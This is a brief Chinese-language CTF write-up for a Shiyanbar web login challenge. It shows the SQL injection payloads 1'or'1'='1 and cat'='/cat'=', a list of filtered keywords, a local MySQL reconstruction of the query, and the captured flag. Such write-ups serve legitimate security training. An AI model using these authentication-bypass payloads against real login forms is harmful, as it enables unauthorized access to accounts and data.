實驗吧CTF---Web篇
1. 打開登錄地址(http://ctf5.shiyanbar.com/web/wonderkun/web/index.html),發現為一個登錄界面,第一想到的是查看源代碼,沒有發現其他信息,然后輸入萬能密碼1'or'1'='1,發現過濾了or ,但未過濾單引號(‘)等,如下圖:
經過一些列測試,發現不但過濾了or,並且過濾了/ # -- select | union等。
猜測原SQL語句可能為:
select * form user where username = ' ' and password = ' '
在Mysql上創建user表模擬該登錄表的信息:
create database test; //創建test數據庫 use test; create table user(username varchar(8), password varchar(32)); //創建user表 insert into user(username, password) values('test','123456'); //插入數據 select * from user where name = 'cat'='' and passwd = 'cat'=''; 可成功執行
如下圖所示,可成功執行並返回數據庫信息:
組合后代碼為: select * from user where name = 'cat'='' and passwd = 'cat'=''; 即payload: cat'='/cat'='
可成功登錄並獲取flag: ctf{51d1bf8fb65a8c2406513ee8f52283e7}